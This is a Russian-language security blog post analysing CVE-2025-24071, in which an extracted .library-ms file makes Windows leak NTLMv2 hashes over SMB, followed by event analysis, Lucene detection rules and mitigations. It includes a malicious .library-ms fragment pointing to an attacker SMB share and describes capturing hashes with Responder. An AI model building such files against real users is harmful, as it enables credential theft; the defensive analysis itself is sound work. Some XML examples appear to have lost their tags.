Разбор CVE-2025-24071

b8fb7b0c2c25eb4e1f1cb162519f6777.jpg

Привет, Хабр! Меня зовут Илья Ефимов, я ведущий аналитик SOC компании BI.ZONE. В этой статье поговорим о нашумевшей CVE-2025–24071, которая позволяет атакующим получить NTLMv2-хеш-суммы паролей в результате некорректной обработки файлов .library-ms в Windows Explorer. Сама уязвимость уже эксплуатируется in-the-wild, о чем свидетельствуют данные, полученные от исследователей в области кибербезопасности. В своем небольшом исследовании я покажу, за счет чего происходит эксплуатация уязвимости, примеры событий, а также расскажу, как обнаружить такую активность.

Что такое .library-ms-файл

Начнем с того, что собой представляет файл .library-ms. Исходя из документации Microsoft, .library-ms-файлы — это XML-файлы, которые определяют библиотеки Windows (Windows Libraries) — специальные виртуальные коллекции папок и файлов, представленные в проводнике.

Файлы с расширением .library-ms — это XML-файлы, которые:

  1. Хранят настройки библиотек Windows (например, «Документы», «Изображения», «Музыка»).

  2. Содержат ссылки на расположения (папки, диски, сетевые ресурсы), объединенные в одну логическую группу.

  3. Используют схему XML,  описанную в Library Schema (MSDN), для определения структуры и свойств библиотеки.

  4. Могут быть созданы или изменены пользователем для настройки библиотек под свои нужды. Основные теги в .library-ms-файле:

    •  — корневой элемент, содержит описание библиотеки.

    •  — отображаемое имя библиотеки.

    •  — версия схемы библиотеки.

    •  — указывает, закреплена ли библиотека в панели навигации.

    •  — путь к иконке библиотеки.

    •  — определяет тип контента (например, «Документы», «Музыка»).

    •  — содержит параметры поиска.

    • / — пути к включенным папкам.

Последний параметр крайне важен, так как он позволяет указывать адреса удаленных ресурсов (например, С2-сервер злоумышленника).

Пример структуры .library-ms-файла:



  My Documents
  1.0
  true
  imageres.dll,-1002
  
    {7d49d726-3c21-4f05-99aa-fdc2c9474656}
  
  
    
      true
      true
      
        %USERPROFILE%\Documents
      
    
  

Суть уязвимости

На самом деле, еще два года назад в статье рассматривались атаки на пользователей с использованием .library-ms-файлов. Там было описано, как за счет указания управляющего сервера злоумышленника в -теге файла можно осуществлять удаленное исполнение кода за счет взаимодействия с WebDAV-шарой атакующего.

18 марта 2025 года исследователь 0×6rss в своем блоге раскрыл детали уязвимости, где описал, что при распаковке файла из RAR-/ZIP-архива Windows Explorer из-за доверия к файлам .library-ms автоматически анализирует их. Если в теге  указана ссылка на SMB-шару атакующего, то происходит автоматическая попытка NTLM-аутентификации с вытекающей из этого кражей NTLMv2-хешей учетной записи жертвы. Как было замечено исследователями, уязвимость также эксплуатируется при обычном сохранении вложения письма в файловую систему. Также было выявлено, что аутентификация на удаленной SMB-шаре будет необходима при любой работе с файлом .library-ms, включая его создание, удаление или перемещение по диску.

Интересный момент: для одного и того же .library-ms-файла при повторной распаковке эксплуатации уязвимости не возникает. Вероятнее всего, это связано с тем, что Windows Explorer считывает содержимое только новых файлов, которые незнакомы системе.

Эксплуатация уязвимости

Для генерации файла воспользуемся PoC от исследователя 0×6rss.

09cfd2eb864e5bec66dec05a5c8a416d.png

В результате получаем ZIP-архив, в котором содержится файл .library-ms.

7511d896119c06fd36bc014d9127f025.png

Пример содержимого такого файла. Прежде всего обращаем внимание на теги  и , где указывается наш сервер, принимающий попытки NTLM-аутентификации. Стоит отметить, что существование shared или любого другого файла на удаленном ресурсе необязательно, достаточно инициализировать исходящее SMB-подключение хоста:



  
    
      
        \\10.3.132.57\shared
      
    
  

На видео ниже воспроизведение активности — извлечение вредоносного файла из архива и попытка NTLMv2-аутентификации по протоколу SMB с управляющим сервером.

7bf64efd0fd2c455eeab793aef970739.gif

Как показано на видео, для эксплуатации уязвимости жертве достаточно распаковать архив с вредоносным файлом и система далее все сделает сама.

На скрине ниже можно увидеть результат работы Responder, где нам удалось получить хеш-сумму NTLMv2 учетной записи жертвы, которую впоследствии можно будет использовать, к примеру, в атаке типа pass-the-hash.

b9c821d96210496dab165f04fe7d4076.png

Генерируемые события

С помощью Procmon можно наблюдать, что Explorer.exe и службами индексации, такими как SearchProtocolHost.exe, сразу после извлечения файла .library-ms выполняются следующие операции автоматически:

  • CreateFile — файл открывается Explorer.

  • ReadFile — содержимое файла читается для извлечения метаданных.

  • QueryBasicInformationFile — выполняются запросы метаданных.

  • QueryStandardInformationFile — выполняются запросы стандартной информации о файле.

  • CloseFile — файл закрывается после обработки.

5cbb128d85c719eef7cdb14ff6526766.png

Кроме того, SearchProtocolHost.exe вызывается в рамках службы индексации файлов Windows. После того как Explorer.exe завершает свою начальную обработку, служба индексации снова открывает и читает файл для индексации его содержимого. Это дополнительно подтверждает автоматическую обработку файлов при извлечении.

0242bc1c45f52431caf1787977c155b5.png

Далее, после обработки SearchProtocolHost.exe, можно увидеть начинающееся соединение с управляющим сервером.

Эти действия однозначно демонстрируют, что Windows автоматически обрабатывает файлы сразу после извлечения, без какого-либо явного взаимодействия пользователя. Как Explorer.exe, так и SearchProtocolHost.exe автоматически читают и обрабатывают XML-содержимое файла .library-ms, инициируя попытку подключения к встроенному SMB-пути.

Если говорить о событиях ОС Windows, которые генерируются в результате активности, то можно выделить следующие:

Обратите внимание! Ниже будут представлены правила, написанные на языке Lucene и использующие BI.ZONE Data Model.

1. При распаковке файла получаем событие создания файла с расширением .library-ms.

e542eaa44c71aa516aee193e152ded4e.png

Здесь хочется отметить, что в поле proc_file_path проставляется исполняемый файл, в результате работы которого было распаковано содержимое архива. Так как в нашем случае это Windows Explorer, то можно прийти к выводу, что, если в системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.

Правило, по которому можно детектировать подобную активность, выглядит следующим образом:

dev_os_type:"windows" AND
event_type:(FileCreate OR FileCreateWin OR FileInfo OR FileInfoWin) AND file_name.keyword:/.*\.library-ms

2. При непосредственном взаимодействии с управляющим сервером после распаковки файла возникают события:

  • создания процесса c:\windows\system32\rundll32.exe, который, в свою очередь, вызывает функцию DavSetCookie из библиотеки C:\Windows\system32\davclnt.dll. Документацию по функции найти не удалось, предположительно она используется для установки cookie для WebDAV-сессии. Отмечаем, что в аргументах данной функции принимается IP-адрес / доменное имя удаленного ресурса, а также полный путь с учетом директории;

    88068a0f2c4f37959e133fec6d2227e5.png
  • соединения (pipecreate) с именованным каналом \\.\pipe\dav rpc service с аналогичной командной строкой.

    a03de3ed479be89ec4e15d3e1c811170.png

Правило, по которому можно детектировать подобную активность, выглядит следующим образом:

dev_os_type:"windows" AND
(
    (
        event_type:(ProcessCreate OR ProcessCreateWin OR ProcessInfo OR ProcessInfoWin) AND
        proc_file_path:"\\windows\\system32\\rundll32.exe" AND
        cmdline:("\\Windows\\system32\\davclnt.dll,DavSetCookie")
    ) OR
    (
        event_type:pipeconnect AND
        proc_file_path:"\\windows\\system32\\rundll32.exe" AND
        proc_cmdline:("\\Windows\\system32\\davclnt.dll,DavSetCookie") AND
        pipe_path:"\\\\.\\pipe\\dav rpc service"
    )
)

Вывод

В данной статье я продемонстрировал суть уязвимости CVE-2025–24071, процесс эксплуатации, генерируемые при активности события, а также предложения по детектированию. Хочу отметить, что, хотя, по версии Microsoft, уязвимость не будет популярна в публичной эксплуатации, она может быть крайне популярна в фишинговых кампаниях из-за широкой применимости в новейших ОС, а также из-за простоты эксплуатации.

Мониторинг описанной выше активности за счет предложенных правил детектирования позволит выявить попытки эксплуатации уязвимости. Другие рекомендации:

  • Ограничить исходящие SMB-соединения с внешними серверами для предотвращения потенциальных атак.

  • Как дополнительную меру также можно предложить добавить политику "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" на значение Deny All (при необходимости можно добавить исключения).

  • Обновить операционную систему Windows до последней версии, включая мартовские обновления, для устранения известных уязвимостей.

  • Запретить запуск файлов с расширением .library-ms, так как они могут быть использованы для эксплуатации уязвимостей.

  • Блокировать получение файлов с расширением .library-ms по электронной почте, чтобы предотвратить распространение вредоносных объектов.

© Habrahabr.ru